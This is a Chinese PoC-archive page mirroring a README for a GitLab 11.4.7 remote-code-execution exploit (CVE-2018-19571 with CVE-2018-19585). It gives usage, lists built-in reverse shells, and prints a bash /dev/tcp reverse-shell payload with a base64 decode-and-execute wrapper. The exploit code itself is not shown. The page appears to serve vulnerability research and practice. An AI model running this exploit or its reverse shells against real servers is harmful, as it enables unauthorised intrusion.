目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2018-19571 PoC — GitLab 代码问题漏洞

来源
关联漏洞
标题: GitLab 代码问题漏洞 (CVE-2018-19571)
Description:GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab(企业版和社区版) 8.18版本至11.x版本(11.3.11版本已修复)、11.4.8之前的11.4版本和11.5.1之前的11.5版本中存在代码问题漏洞。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题。
Description
GitLab 11.4.7 RCE exploit with different reverse shells. CVE-2018-19571 + CVE-2018-19585
介绍
# gitlab-RCE-11.4.7
GitLab 11.4.7 CE RCE exploit with different reverse shells.  
CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571  
CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585

Modification of the version from [Sam Redmond and Tam Lai Yin](https://github.com/ctrlsam/GitLab-11.4.7-RCE) in order to learn and practice.

## How to use

It is written in python3 as all things should be.

Dependencies:
```
pip3 install requests
```

Use:

```
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
```

By default, the netcat with -e option shell is used.


## Build-in shells

Current build-in shells:

  - nc_e
    - Netcat with the -e option.
  - bash: 
    - Bash executed with absolute path.
  - perl: 
    - Perl executed from the $PATH.
  - python3: 
    - Python3 executed from the $PATH.
  - ruby: 
    - Ruby executed from the $PATH.
  - php: 
    - PHP executed from the $PATH. **Note**: Usually doesn't work in the GitLab docker.

## Add user-defined shells

Some shells contain characters thats doesn't get along with the request encoding. Therefore they are encoded in Base64 and then decoded and executed in the victim's machine.

If you want to add your own shell, add a value to the ```payloads_dict``` structure.

You must define the following:

```python
'bash': {
    # If the raw_payload can be executed withoud encoding
    'safe': False,
    # Payload, must contain the references for the local_ip and for the local_port
    'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
    # How to execute the payload if safe is False. Must conatin the reference for payload
    'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
```

## Disclaimer

The HTML parsing is pretty hardcoded, it may break easily.



文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →